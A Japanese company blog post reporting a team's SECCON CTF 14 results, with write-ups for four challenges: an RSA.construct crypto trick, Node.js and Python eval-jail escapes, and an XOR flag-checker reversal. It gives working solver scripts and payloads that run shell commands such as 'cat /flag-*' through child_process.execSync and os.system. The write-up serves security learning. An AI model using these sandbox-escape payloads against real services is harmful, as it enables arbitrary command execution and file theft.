【SECCON CTF 14】参加レポ・Writeup

こんにちは!SOC事業部の松岡です。

2025年12月13日から14日にかけて開催された日本最大級のCTFであるSECCON CTF 14に社内のメンバーと参加してきました。

世界上位8チームと国内上位8チームが決勝大会へ進出できる大会でしたが、結果は世界63位、国内15位でした。

本記事では、今回解いた問題の中から4問をピックアップし、解法を解説します。

<関連記事>
突き抜けた知的好奇心を武器に学びを深め、会社全体へ還元していく(松岡)

目次

  1. yukari
  2. broken-json
  3. excepython
  4. Ez Flag Checker

yukari

問題概要

  • サーバに接続すると1024bitの素数 p が提示され、こちらは1024bit以上の素数 q を送信する。
  • このやりとりを32ラウンド繰り返す形式で、各ラウンドで「正しい q」を送ると次へ進める。
  • q の判定は PyCryptodome の Crypto.PublicKey.RSA.construct に依存しており、RSA.construct を失敗させることで次のラウンドに進むことができる。

ソースコードは以下。

#!/usr/bin/env python3

from Crypto.PublicKey import RSA
from Crypto.Util.number import getPrime, isPrime

with open("flag.txt", "r") as f:
    FLAG = f.read()

for _ in range(32):
    p = getPrime(1024)
    print("p =", p)

    q = int(input("q: "))
    assert p != q
    assert q.bit_length() >= 1024
    assert isPrime(q)

    n = p * q
    e = getPrime(64)
    d = pow(e, -1, (p - 1) * (q - 1))

    try:
        cipher = RSA.construct((n, e, d))
    except:
        print("error!")
        continue
    print("key setup successful")
    exit()

print(FLAG)

解法

方針

RSA.construct の実装を読むと、(u を明示的に渡さない場合) u を次のように計算し、整合性チェックで u が 1 以下だと例外になる。

if hasattr(input_comps, 'u'):
    u = input_comps.u
else:
    u = p.inverse(q)

...

if u <= 1 or u >= q:
    raise ValueError("Invalid RSA component u")

u = 1 を作る

u = p^{-1} = 1 (mod q) つまり p-1 = k*q を満たすような q を送信したい。p-1 は素数ではないので k>=2 であるが、この場合 q = (p-1)/k は1024bit未満になってしまう。
一見不可能に思われるが、RSA.construct((n, e, d)) は与えられた n,e,d から内部で p,q を復元して u を計算しているため、q = k*p+1 として RSA.construct を実施し、因数の復元結果が (p',q') = (q,p) の順序になった場合、 u = p'^{-1} (mod p') = q^{-1} (mod p) = 1 となり、例外を引き起こすことができる。
よって、 そのような q をローカルで探索してサーバに送信すればよい。

Solver

Solverは以下。

from pwn import *
from Crypto.PublicKey import RSA
from Crypto.Util.number import getPrime, isPrime

io = remote("yukari.seccon.games", 15809)
e = getPrime(64)

for _ in range(32):
    io.recvuntil(b"p =")
    p = int(io.recvline().decode().strip())
    for i in range(1000000):
        q = i * p + 1
        if not isPrime(q):
            continue
        n = p * q
        d = pow(e, -1, (p - 1) * (q - 1))
        try:
            cipher = RSA.construct((n, e, d))
        except:
            io.sendlineafter(b"q: ", str(q).encode())
            break

print(io.recvall())

実行結果

% python solver.py
[+] Opening connection to yukari.seccon.games on port 15809: Done
[+] Receiving all data: Done (80B)
[*] Closed connection to yukari.seccon.games port 15809
b'error!\nSECCON{9cb27d297988cdae22deca33d5e54a6955d6f95a010c6aec737ff7509f4ac715}\n'

broken-json

問題概要

  • flagはサーバのルートにあり flag-$(md5sum flag.txt | cut -c-32).txt という名前で配置されている。(Dockerfile から)
  • jsonrepair によって入力値がjson形式に整形される。

#!/usr/local/bin/node

import readline from "node:readline/promises";
import { jsonrepair } from "jsonrepair";

using rl = readline.createInterface({ input: process.stdin, output: process.stderr });
await rl.question("jail> ").then(jsonrepair).then(eval).then(console.log);

解法

方針

jsonrepair に邪魔されないjavascriptのコードとしても正しいもの書く。
jsonrepair がなければ以下で取得が可能。

  • jsonrepair を削除したコード
#!/usr/local/bin/node

import readline from "node:readline/promises";

using rl = readline.createInterface({ input: process.stdin, output: process.stderr });
await rl.question("jail> ").then(eval).then(console.log);
  • 攻撃値
(() => process.getBuiltinModule('node:child_process').execSync('cat /flag-*').toString())()
  • 実行結果
$ nc localhost 5000
jail> (() => process.getBuiltinModule('node:child_process').execSync('cat /flag-*').toString())()
SECCON{REDACTED}

jsonrepairのコードを確認する。
大まかな流れとしては以下になる。

1. markdownの開始文字を取り除く。値をパースする。markdownの終了文字を取り除く。

export function jsonrepair(text) {
    let i = 0; // current index in text
    let output = ''; // generated output
        parseMarkdownCodeBlock(['```', '[```', '{```']);
        const processed = parseValue();
        if (!processed) {
            throwUnexpectedEnd();
        }
        parseMarkdownCodeBlock(['```', '```]', '```}']);
        const processedComma = parseCharacter(',');

2. 値のパース処理。正規表現のパース処理に注目する。

function parseValue() {
    parseWhitespaceAndSkipComments();
    const processed = parseObject() || parseArray() || parseString() || parseNumber() || parseKeywords() || parseUnquotedString(false) || parseRegex();
    parseWhitespaceAndSkipComments();
    return processed;
}

3. 正規表現のパース処理。 / で囲まれた文字列を " で囲みなおす処理のようだ。

function parseRegex() {
    if (text[i] === '/') {
    const start = i;
    i++;
    while (i < text.length && (text[i] !== '/' || text[i - 1] === '\\')) {
        i++;
    }
    i++;
    output += `"${text.substring(start, i)}"`;
    return true;
    }
}

上記のことから / で囲めば前後にクォートを追加できることが確認できたため、攻撃値を構築する。

以下の条件になる。

  • 先頭が "/、末尾が/"、間に /がないこと
  • 間に (() => process.getBuiltinModule('node:child_process').execSync('cat /flag-*').toString())() 挿入。これを戻り値とすること。

したがって、送信したいコードは以下になる。

// ただの文字列リテラル。セミコロンを打つことで文を終わらせる。
"/";

// execSync中の/はfromCharCodeに置き換え。
// or文とすることで左辺を返す
(() => process.getBuiltinModule('node:child_process').execSync(`cat ${String.fromCharCode(47)}flag-*`).toString())() || "/"

先頭、末尾の "jsonrepair によって追加されるため、送信値は以下となる。

/";(() => process.getBuiltinModule('node:child_process').execSync(`cat ${String.fromCharCode(47)}flag-*`).toString())()||"/

実行結果

$ nc broken-json.seccon.games 5000
jail> /";(() => process.getBuiltinModule('node:child_process').execSync(`cat ${String.fromCharCode(47)}flag-*`).toString())()||"/
SECCON{Re:Jail_kara_Hajimeru_Break_Time}

excepython

問題概要

  • flagはサーバのルートにあり flag-$(md5sum flag.txt | cut -c-32).txt という名前で配置されている。(Dockerfile から)
  • filterが存在し、一度の入力では .,(+) は1度ずつしか使えない。
  • eval__buildins__ オプションに {} が指定されているため、組み込み関数が使えない。
  • 例外が発生した場合は次のループで ex に例外オブジェクトが代入される。

#!/usr/local/bin/python3

ex = None
while (code := input("jail> ")) and all(code.count(c) <= 1 for c in ".,(+)"):
    try:
        eval(code, {"__builtins__": {}, "ex": ex})
    except Exception as e:
        ex = e

解法

方針

ex 変数に代入される Exception オブジェクトは eval 外から渡されるオブジェクトである。
属性をたどることで os モジュールを利用できるため、cat コマンドでサーバ内のflagにアクセスできる。
フィルタがなければ以下で取得が可能。

  • フィルタを削除したコード
#!/usr/local/bin/python3

ex = None
while (code := input("jail> ")):
    try:
        eval(code, {"__builtins__": {}, "ex": ex})
    except Exception as e:
        ex = e
  • 手順

1. とにかく例外を発生させる。

jail> 1/0

2. 例外オブジェクトから system 関数を取得し、コマンドを実行する。

jail> ex.__traceback__.tb_frame.f_builtins['__import__']('os').system('cat /flag-*')
  • 実行結果
$ nc localhost 5000
jail> 1/0
jail> ex.__traceback__.tb_frame.f_builtins['__import__']('os').system('cat /flag-*')
SECCON{REDACTED}
jail>

フィルタをバイパスするために、新たに発生させる例外にオブジェクトを保持させ、次のループに持ち越すというアプローチを取る。

使用する例外クラスは以下の二つ。

  • AttributeError

属性チェインをたどるために使用する。
オブジェクトの属性が見つからない場合 AttributeError が発生する。この時 obj 属性には発生元のオブジェクトが代入されている。
以下では __dummy__ が見つからないため、obj 属性に prop が代入される。

arg.prop.__dummy__

この問題では . が1度しかつかえないため、format関数を使用し、.\x2e で置き換えることでフィルタをバイパスする。

"{0\x2eprop\x2e__dummy__}".format(arg)
  • KeyError

関数呼び出しに使用する。
オブジェクトにキーが見つからない場合 KeyError が発生する。この時 arg[0] 属性には指定したキーが代入されている。
以下では空のオブジェクトにインデックスアクセスしているため、arg[0] something が代入される

{}[something]

上述の format 関数では文字列の中に関数を含められないため、以下のように関数呼び出しと組み合わせることで関数の戻り値を保持する。

{}[something(arg)]

具体的な手順

フィルタがない場合の実行手順には関数呼び出しが2回ある。

jail> ex.__traceback__.tb_frame.f_builtins['__import__']('os').system('cat /flag-*')

最後の system 関数の呼び出しで例外を発生させる必要はない。
属性取得 => 関数呼び出し => 属性取得とすることで、system 関数を取得し、cat コマンドを実行する。

1. とにかく例外を発生させる。

jail> 1/0

2. 属性の取得。exZeroDivisionError[__import__] の戻り値である import 関数を次に渡す。

jail> "{0\x2e__traceback__\x2etb_frame\x2ef_builtins[__import__]\x2e__dummy__}".format(ex)

3. 関数呼び出し。exAttributeErrorex.objimport 関数。import('os')を実行し os モジュールを次に渡す。

jail> {}[ex.obj('os')]

4. 属性の取得・ex KeyErrorex.args[0] には os モジュールが入っている。system 関数を次に渡す。

jail> '{0\x2eargs[0]\x2esystem\x2e__dummy__}'.format(ex)

5. exAttributeErrorex.objsystem 関数。最後であるため例外は発生させずに素直にコマンドを実行する。

jail> ex.obj("cat /flag-*")
  • 実際の結果
$ nc excepython.seccon.games 5000
jail> 1/0
jail> "{0\x2e__traceback__\x2etb_frame\x2ef_builtins[__import__]\x2e__dummy__}".format(ex)
jail> {}[ex.obj('os')]
jail> '{0\x2eargs[0]\x2esystem\x2e__dummy__}'.format(ex)
jail> ex.obj("cat /flag-*")
SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}
jail>
```

Ez Flag Checker

問題概要

  • 配布物はELF実行ファイルで、実行すると Enter flag: と表示され、入力文字列が正しければ correct flag!、誤りなら wrong :( を返す。
  • 入力は SECCON{...} 形式で、全体の長さが 26 文字。
  • {} 内の 18 文字を sigma_encrypt で変換し、 flag_enc と比較している。

解法

方針

やることは以下の通り。

  1. flag_enc を取り出す。
  2. sigma_encrypt を読み取り、復号式を立てる。
  3. 復号して得た文字列を SECCON{...} に戻す。

sigma_encrypt

  • out[i] = in[i] XOR ((sigma_words[i % 16] + i) & 0xff)

なので、復号は

  • in[i] = out[i] XOR ((sigma_words[i % 16] + i) & 0xff)

でよい。

注意点

静的解析では sigma_words は “expand 32-byte k” に見えるが、これではうまくいかない。
GDBで調査すると sigma_encrypt が参照する 値 が実際は "expanb 32-byte k" になっていたので、これを鍵として復号する。

Solver

Solverは以下。

flag_enc = bytes.fromhex("03 15 13 03 11 55 1f 43 63 61 59 ef bc 10 1f 43 54 a8".replace(" ", ""))
key = b"expanb 32-byte k"

flag = b"SECCON{" + bytes([flag_enc[i] ^ ((key[i % 16] + i) & 0xff) for i in range(len(flag_enc))]) + b"}"

print(flag.decode()) # SECCON{flagc29yYW5k<b19!!}

今回は、SECCON CTF 14の中から、解いた問題のうち4問をピックアップし、解法を解説しました。

今後も、大会での上位入賞を目指して各種CTFへの挑戦を続けて参ります。